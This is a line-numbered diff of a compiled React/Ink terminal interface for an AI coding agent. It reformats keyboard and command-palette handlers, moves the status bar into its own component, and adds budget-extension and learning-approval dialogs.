label: 'TypeScript Check',
|
|
2063
|
+
shortcut: '/tsc',
|
|
2064
|
+
category: 'Diagnostics',
|
|
2065
|
+
action: () => handleCommand('tsc', []),
|
|
2066
|
+
},
|
|
2067
|
+
{
|
|
2068
|
+
id: 'theme',
|
|
2069
|
+
label: 'Change Theme',
|
|
2070
|
+
shortcut: '/theme',
|
|
2071
|
+
category: 'Settings',
|
|
2072
|
+
action: () => handleCommand('theme', []),
|
|
2073
|
+
},
|
|
2074
|
+
{
|
|
2075
|
+
id: 'exit',
|
|
2076
|
+
label: 'Exit',
|
|
2077
|
+
shortcut: 'Ctrl+C',
|
|
2078
|
+
category: 'General',
|
|
2079
|
+
action: () => agent.cleanup().then(() => exit()),
|
|
2080
|
+
},
|
|
1991
2081
|
], [handleCommand, agent, exit]);
|
|
1992
2082
|
// Get filtered command palette items for current query
|
|
1993
2083
|
const filteredCommandItems = useMemo(() => {
|
|
1994
2084
|
if (!commandPaletteQuery)
|
|
1995
2085
|
return commandPaletteItems;
|
|
1996
2086
|
const q = commandPaletteQuery.toLowerCase();
|
|
1997
|
-
return commandPaletteItems.filter(item => item.label.toLowerCase().includes(q) ||
|
|
2087
|
+
return commandPaletteItems.filter((item) => item.label.toLowerCase().includes(q) ||
|
|
1998
2088
|
item.id.toLowerCase().includes(q) ||
|
|
1999
2089
|
(item.shortcut && item.shortcut.toLowerCase().includes(q)));
|
|
2000
2090
|
}, [commandPaletteItems, commandPaletteQuery]);
|
|
@@ -2020,22 +2110,22 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2020
2110
|
}
|
|
2021
2111
|
// Arrow keys navigate
|
|
2022
2112
|
if (key.upArrow) {
|
|
2023
|
-
setCommandPaletteIndex(i => Math.max(0, i - 1));
|
|
2113
|
+
setCommandPaletteIndex((i) => Math.max(0, i - 1));
|
|
2024
2114
|
return;
|
|
2025
2115
|
}
|
|
2026
2116
|
if (key.downArrow) {
|
|
2027
|
-
setCommandPaletteIndex(i => Math.min(filteredCommandItems.length - 1, i + 1));
|
|
2117
|
+
setCommandPaletteIndex((i) => Math.min(filteredCommandItems.length - 1, i + 1));
|
|
2028
2118
|
return;
|
|
2029
2119
|
}
|
|
2030
2120
|
// Backspace
|
|
2031
2121
|
if (key.backspace || key.delete) {
|
|
2032
|
-
setCommandPaletteQuery(q => q.slice(0, -1));
|
|
2122
|
+
setCommandPaletteQuery((q) => q.slice(0, -1));
|
|
2033
2123
|
setCommandPaletteIndex(0);
|
|
2034
2124
|
return;
|
|
2035
2125
|
}
|
|
2036
2126
|
// Regular character input
|
|
2037
2127
|
if (input && !key.ctrl && !key.meta) {
|
|
2038
|
-
setCommandPaletteQuery(q => q + input);
|
|
2128
|
+
setCommandPaletteQuery((q) => q + input);
|
|
2039
2129
|
setCommandPaletteIndex(0);
|
|
2040
2130
|
}
|
|
2041
2131
|
}, [filteredCommandItems, commandPaletteIndex]);
|
|
@@ -2048,12 +2138,12 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2048
2138
|
}
|
|
2049
2139
|
// Backspace
|
|
2050
2140
|
if (key.backspace || key.delete) {
|
|
2051
|
-
setDenyReason(r => r.slice(0, -1));
|
|
2141
|
+
setDenyReason((r) => r.slice(0, -1));
|
|
2052
2142
|
return;
|
|
2053
2143
|
}
|
|
2054
2144
|
// Regular character input
|
|
2055
2145
|
if (input && !key.ctrl && !key.meta) {
|
|
2056
|
-
setDenyReason(r => r + input);
|
|
2146
|
+
setDenyReason((r) => r + input);
|
|
2057
2147
|
}
|
|
2058
2148
|
}, [denyReason, handleDeny]);
|
|
2059
2149
|
// =========================================================================
|
|
@@ -2065,7 +2155,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2065
2155
|
clearTimeout(ctrlCTimerRef.current);
|
|
2066
2156
|
ctrlCTimerRef.current = null;
|
|
2067
2157
|
}
|
|
2068
|
-
setCtrlCCount(prevCount => {
|
|
2158
|
+
setCtrlCCount((prevCount) => {
|
|
2069
2159
|
const newCount = prevCount + 1;
|
|
2070
2160
|
if (newCount >= 2) {
|
|
2071
2161
|
// Second Ctrl+C within timeout window - force exit immediately
|
|
@@ -2074,7 +2164,8 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2074
2164
|
// First Ctrl+C - show warning and start graceful cleanup
|
|
2075
2165
|
addMessage('system', '[CTRL+C] Press again within 1s to force exit...');
|
|
2076
2166
|
// Start graceful cleanup in background
|
|
2077
|
-
agent
|
|
2167
|
+
agent
|
|
2168
|
+
.cleanup()
|
|
2078
2169
|
.then(() => mcpClient.cleanup())
|
|
2079
2170
|
.then(() => lspManager.cleanup())
|
|
2080
2171
|
.then(() => exit())
|
|
@@ -2092,7 +2183,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2092
2183
|
setToolCalls([]);
|
|
2093
2184
|
}, []);
|
|
2094
2185
|
const handleCtrlP = useCallback(() => {
|
|
2095
|
-
setCommandPaletteOpen(prev => !prev);
|
|
2186
|
+
setCommandPaletteOpen((prev) => !prev);
|
|
2096
2187
|
setCommandPaletteQuery('');
|
|
2097
2188
|
setCommandPaletteIndex(0);
|
|
2098
2189
|
}, []);
|
|
@@ -2126,103 +2217,74 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2126
2217
|
}
|
|
2127
2218
|
// Cancel the agent
|
|
2128
2219
|
agent.cancel('Cancelled by ESC');
|
|
2220
|
+
finishExecutionMode();
|
|
2129
2221
|
setIsProcessing(false);
|
|
2130
2222
|
addMessage('system', '[STOP] Cancelled (checkpoint saved)');
|
|
2131
2223
|
}
|
|
2132
|
-
}, [
|
|
2224
|
+
}, [
|
|
2225
|
+
agent,
|
|
2226
|
+
addMessage,
|
|
2227
|
+
commandPaletteOpen,
|
|
2228
|
+
sessionStore,
|
|
2229
|
+
currentSessionId,
|
|
2230
|
+
saveCheckpointToStore,
|
|
2231
|
+
persistenceDebug,
|
|
2232
|
+
persistPendingPlanToStore,
|
|
2233
|
+
finishExecutionMode,
|
|
2234
|
+
]);
|
|
2133
2235
|
const handleToggleToolExpand = useCallback(() => {
|
|
2134
|
-
setToolCallsExpanded(prev => {
|
|
2236
|
+
setToolCallsExpanded((prev) => {
|
|
2135
2237
|
addMessage('system', !prev ? '[*] Tool details: expanded' : '[ ] Tool details: collapsed');
|
|
2136
2238
|
return !prev;
|
|
2137
2239
|
});
|
|
2138
2240
|
}, [addMessage]);
|
|
2139
2241
|
const handleToggleThinking = useCallback(() => {
|
|
2140
|
-
setShowThinking(prev => {
|
|
2242
|
+
setShowThinking((prev) => {
|
|
2141
2243
|
addMessage('system', !prev ? '[*] Thinking: verbose' : '[ ] Thinking: minimal');
|
|
2142
2244
|
return !prev;
|
|
2143
2245
|
});
|
|
2144
2246
|
}, [addMessage]);
|
|
2145
2247
|
const handleToggleTransparency = useCallback(() => {
|
|
2146
|
-
setTransparencyExpanded(prev => {
|
|
2248
|
+
setTransparencyExpanded((prev) => {
|
|
2147
2249
|
addMessage('system', !prev ? '[v] Transparency panel: visible' : '[^] Transparency panel: hidden');
|
|
2148
2250
|
return !prev;
|
|
2149
2251
|
});
|
|
2150
2252
|
}, [addMessage]);
|
|
2151
2253
|
const handleToggleActiveAgents = useCallback(() => {
|
|
2152
|
-
setActiveAgentsExpanded(prev => {
|
|
2254
|
+
setActiveAgentsExpanded((prev) => {
|
|
2153
2255
|
addMessage('system', !prev ? '[v] Active agents: visible' : '[^] Active agents: hidden');
|
|
2154
2256
|
return !prev;
|
|
2155
2257
|
});
|
|
2156
2258
|
}, [addMessage]);
|
|
2157
2259
|
const handleToggleTasks = useCallback(() => {
|
|
2158
|
-
setTasksExpanded(prev => {
|
|
2260
|
+
setTasksExpanded((prev) => {
|
|
2159
2261
|
addMessage('system', !prev ? '[v] Tasks: visible' : '[^] Tasks: hidden');
|
|
2160
2262
|
return !prev;
|
|
2161
2263
|
});
|
|
2162
2264
|
}, [addMessage]);
|
|
2163
2265
|
const handleToggleDebug = useCallback(() => {
|
|
2164
|
-
setDebugExpanded(prev => {
|
|
2266
|
+
setDebugExpanded((prev) => {
|
|
2165
2267
|
addMessage('system', !prev ? '[v] Debug panel: visible (Alt+D)' : '[^] Debug panel: hidden');
|
|
2166
2268
|
return !prev;
|
|
2167
2269
|
});
|
|
2168
2270
|
}, [addMessage]);
|
|
2169
2271
|
const handleToggleSwarm = useCallback(() => {
|
|
2170
|
-
setSwarmExpanded(prev => !prev);
|
|
2272
|
+
setSwarmExpanded((prev) => !prev);
|
|
2171
2273
|
}, []);
|
|
2172
2274
|
const handleToggleDiagnostics = useCallback(() => {
|
|
2173
|
-
setDiagExpanded(prev => {
|
|
2275
|
+
setDiagExpanded((prev) => {
|
|
2174
2276
|
addMessage('system', !prev ? '[d] Diagnostics: visible (Alt+Y)' : '[^] Diagnostics: hidden');
|
|
2175
2277
|
return !prev;
|
|
2176
2278
|
});
|
|
2177
2279
|
}, [addMessage]);
|
|
2178
|
-
//
|
|
2179
|
-
|
|
2180
|
-
|
|
2181
|
-
|
|
2182
|
-
const messageTokens = agentState.messages.reduce((sum, m) => sum + estimateTokens(typeof m.content === 'string' ? m.content : JSON.stringify(m.content)), 0);
|
|
2183
|
-
const systemPromptTokens = agent.getSystemPromptTokenEstimate?.() ?? 0;
|
|
2184
|
-
setContextTokens(messageTokens + systemPromptTokens);
|
|
2185
|
-
// Update budget health from economics system
|
|
2186
|
-
const budgetUsage = agent.getBudgetUsage?.();
|
|
2187
|
-
if (budgetUsage) {
|
|
2188
|
-
setBudgetPct(Math.round(budgetUsage.percentUsed));
|
|
2189
|
-
}
|
|
2190
|
-
}, [status.tokens, messages.length, agent]);
|
|
2191
|
-
// Track elapsed time
|
|
2192
|
-
useEffect(() => {
|
|
2193
|
-
if (isProcessing) {
|
|
2194
|
-
processingStartRef.current = Date.now();
|
|
2195
|
-
setElapsedTime(0);
|
|
2196
|
-
const interval = setInterval(() => {
|
|
2197
|
-
if (processingStartRef.current) {
|
|
2198
|
-
setElapsedTime(Math.floor((Date.now() - processingStartRef.current) / 1000));
|
|
2199
|
-
}
|
|
2200
|
-
}, 1000);
|
|
2201
|
-
return () => clearInterval(interval);
|
|
2202
|
-
}
|
|
2203
|
-
else {
|
|
2204
|
-
processingStartRef.current = null;
|
|
2205
|
-
return undefined;
|
|
2206
|
-
}
|
|
2207
|
-
}, [isProcessing]);
|
|
2208
|
-
const modelShort = (model || 'unknown').split('/').pop() || model || 'unknown';
|
|
2209
|
-
const contextPct = Math.round((contextTokens / agent.getMaxContextTokens()) * 100);
|
|
2210
|
-
const costStr = status.cost > 0 ? `$${status.cost.toFixed(4)}` : '$0.00';
|
|
2280
|
+
// modelShort, contextPct, costStr, elapsedTime, budgetPct are now computed inside StatusBar
|
|
2281
|
+
// Memoize DiagnosticsPanel props to avoid method calls in render body
|
|
2282
|
+
const diagTypeCheckerState = useMemo(() => agent.getTypeCheckerState(), [agent]);
|
|
2283
|
+
const diagAstCacheStats = useMemo(() => diagExpanded ? getASTCacheStats() : null, [diagExpanded, transparencyState]);
|
|
2211
2284
|
// =========================================================================
|
|
2212
2285
|
// RENDER
|
|
2213
2286
|
// =========================================================================
|
|
2214
|
-
return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) =>
|
|
2215
|
-
transparencyState.lastPolicy.decision === 'prompted' ? colors.warning : colors.success, children: ["Policy: ", transparencyState.lastPolicy.decision === 'allowed' ? '+' :
|
|
2216
|
-
transparencyState.lastPolicy.decision === 'blocked' ? 'x' : '?', " ", transparencyState.lastPolicy.tool] }))] }), _jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "CONTEXT" }), transparencyState.contextHealth ? (_jsxs(_Fragment, { children: [_jsx(Text, { color: colors.textMuted, children: ' [' + '='.repeat(Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
|
|
2217
|
-
'-'.repeat(20 - Math.round((transparencyState.contextHealth.percentUsed / 100) * 20)) +
|
|
2218
|
-
'] ' + transparencyState.contextHealth.percentUsed + '%' }), _jsx(Text, { color: colors.textMuted, children: ' ' + (transparencyState.contextHealth.currentTokens / 1000).toFixed(1) + 'k / ' +
|
|
2219
|
-
(transparencyState.contextHealth.maxTokens / 1000).toFixed(0) + 'k tokens' }), _jsx(Text, { color: colors.textMuted, children: ' ~' + transparencyState.contextHealth.estimatedExchanges + ' exchanges remaining' })] })) : (_jsx(Text, { color: colors.textMuted, children: " (no context data yet)" }))] }), transparencyState.activeLearnings.length > 0 && (_jsxs(Box, { marginLeft: 2, marginTop: 1, flexDirection: "column", children: [_jsx(Text, { color: colors.text, children: "MEMORY" }), _jsxs(Text, { color: colors.textMuted, children: [" Learnings applied: ", transparencyState.activeLearnings.length] })] }))] })), pendingApproval && (_jsx(ApprovalDialog, { visible: true, request: {
|
|
2220
|
-
id: pendingApproval.id,
|
|
2221
|
-
tool: pendingApproval.tool || pendingApproval.action,
|
|
2222
|
-
args: pendingApproval.args || {},
|
|
2223
|
-
risk: pendingApproval.risk,
|
|
2224
|
-
context: pendingApproval.context,
|
|
2225
|
-
}, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? { lastTscResult: null, recentSyntaxErrors: [] }, typeCheckerState: agent.getTypeCheckerState(), astCacheStats: diagExpanded ? getASTCacheStats() : null, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval, borderColor: pendingApproval ? '#FFD700' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
|
|
2287
|
+
return (_jsxs(_Fragment, { children: [_jsx(Static, { items: messages, children: (m) => _jsx(MessageItem, { msg: m, colors: colors }, m.id) }), _jsxs(Box, { flexDirection: "column", children: [_jsx(ToolCallsPanel, { toolCalls: toolCalls, expanded: toolCallsExpanded, colors: colors }), _jsx(TransparencyPanel, { transparencyState: transparencyState, expanded: transparencyExpanded, colors: colors }), pendingApproval && approvalRequest && (_jsx(ApprovalDialog, { visible: true, request: approvalRequest, onApprove: handleApprove, onDeny: handleDeny, colors: colors, denyReasonMode: denyReasonMode, denyReason: denyReason })), pendingBudgetExtension && (_jsx(BudgetExtensionDialog, { visible: true, request: pendingBudgetExtension, onApprove: handleBudgetExtensionApprove, onDeny: handleBudgetExtensionDeny, colors: colors })), pendingLearning && (_jsx(LearningValidationDialog, { visible: true, learning: pendingLearning, onApprove: handleLearningApprove, onReject: handleLearningReject, onSkip: handleLearningSkip, colors: colors })), _jsx(DiagnosticsPanel, { diagnostics: transparencyState?.diagnostics ?? EMPTY_DIAGNOSTICS, typeCheckerState: diagTypeCheckerState, astCacheStats: diagAstCacheStats, expanded: diagExpanded, colors: colors }), _jsx(DebugPanel, { entries: debugBuffer.entries, expanded: debugExpanded, colors: colors }), _jsx(TasksPanel, { tasks: tasks, colors: colors, expanded: tasksExpanded }), _jsx(ActiveAgentsPanel, { agents: activeAgents, colors: colors, expanded: activeAgentsExpanded }), _jsx(SwarmStatusPanel, { status: swarmStatus, colors: colors, expanded: swarmExpanded }), _jsx(PlanPanel, { plan: activePlan, expanded: planExpanded, colors: colors }), _jsx(MemoizedInputArea, { onSubmit: handleSubmit, disabled: isProcessing || !!pendingApproval || !!pendingBudgetExtension || !!pendingLearning, borderColor: pendingApproval || pendingBudgetExtension ? '#FFD700' : pendingLearning ? '#87CEEB' : '#87CEEB', textColor: "#98FB98", cursorColor: "#87CEEB", onCtrlC: handleCtrlC, onCtrlL: handleCtrlL, onCtrlP: handleCtrlP, onEscape: handleEscape, onToggleToolExpand: handleToggleToolExpand, onToggleThinking: handleToggleThinking, onToggleTransparency: handleToggleTransparency, onToggleActiveAgents: handleToggleActiveAgents, onToggleTasks: handleToggleTasks, onToggleDebug: handleToggleDebug, onToggleSwarm: handleToggleSwarm, onToggleDiagnostics: handleToggleDiagnostics, commandPaletteOpen: commandPaletteOpen, onCommandPaletteInput: handleCommandPaletteInput, approvalDialogOpen: !!pendingApproval, approvalDenyReasonMode: denyReasonMode, onApprovalApprove: handleApprove, onApprovalAlwaysAllow: handleAlwaysAllow, onApprovalDeny: handleDeny, onApprovalDenyWithReason: handleDenyWithReason, onApprovalCancelDenyReason: handleCancelDenyReason, onApprovalDenyReasonInput: handleApprovalDenyReasonInput, budgetExtensionDialogOpen: !!pendingBudgetExtension, onBudgetExtensionApprove: handleBudgetExtensionApprove, onBudgetExtensionDeny: handleBudgetExtensionDeny, learningValidationDialogOpen: !!pendingLearning, onLearningApprove: handleLearningApprove, onLearningReject: handleLearningReject, onLearningSkip: handleLearningSkip, history: historyEntries }), commandPaletteOpen && (_jsx(ControlledCommandPalette, { theme: selectedTheme, items: filteredCommandItems, visible: commandPaletteOpen, query: commandPaletteQuery, selectedIndex: commandPaletteIndex, onQueryChange: setCommandPaletteQuery, onSelectItem: (item) => {
|
|
2226
2288
|
setCommandPaletteOpen(false);
|
|
2227
2289
|
setCommandPaletteQuery('');
|
|
2228
2290
|
setCommandPaletteIndex(0);
|
|
@@ -2231,16 +2293,7 @@ export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager,
|
|
|
2231
2293
|
setCommandPaletteOpen(false);
|
|
2232
2294
|
setCommandPaletteQuery('');
|
|
2233
2295
|
setCommandPaletteIndex(0);
|
|
2234
|
-
} })),
|
|
2235
|
-
'-'.repeat(Math.max(0, 8 - Math.round((contextPct / 100) * 8))) + '] ' +
|
|
2236
|
-
contextPct + '%' }), budgetPct > 0 && (_jsx(Text, { color: budgetPct >= 80 ? '#FF6B6B' : budgetPct >= 50 ? '#FFD700' : colors.textMuted, dimColor: true, children: 'bud:' + budgetPct + '%' })), _jsx(Text, { color: "#98FB98", dimColor: true, children: costStr }), gitBranch && _jsx(Text, { color: "#87CEEB", dimColor: true, children: gitBranch }), transparencyState?.activeLearnings && transparencyState.activeLearnings.length > 0 && (_jsxs(Text, { color: "#87CEEB", dimColor: true, children: ["L:", transparencyState.activeLearnings.length] })), agent.getTypeCheckerState()?.tsconfigDir && (() => {
|
|
2237
|
-
const tscRes = transparencyState?.diagnostics?.lastTscResult;
|
|
2238
|
-
if (!tscRes)
|
|
2239
|
-
return _jsx(Text, { color: colors.textMuted, dimColor: true, children: "tsc:\u2014" });
|
|
2240
|
-
if (tscRes.success)
|
|
2241
|
-
return _jsx(Text, { color: "#98FB98", dimColor: true, children: "tsc:[ok]" });
|
|
2242
|
-
return _jsxs(Text, { color: colors.error, dimColor: true, children: ["tsc:[X]", tscRes.errorCount] });
|
|
2243
|
-
})(), _jsx(Text, { color: colors.textMuted, dimColor: true, children: "^P:help" })] })] })] })] }));
|
|
2296
|
+
} })), _jsx(StatusBar, { isProcessing: isProcessing, status: statusForBar, colors: colors, model: model, gitBranch: gitBranch, transparencyState: transparencyState, agent: agent })] })] }));
|
|
2244
2297
|
}
|
|
2245
2298
|
export default TUIApp;
|
|
2246
2299
|
//# sourceMappingURL=app.js.map
|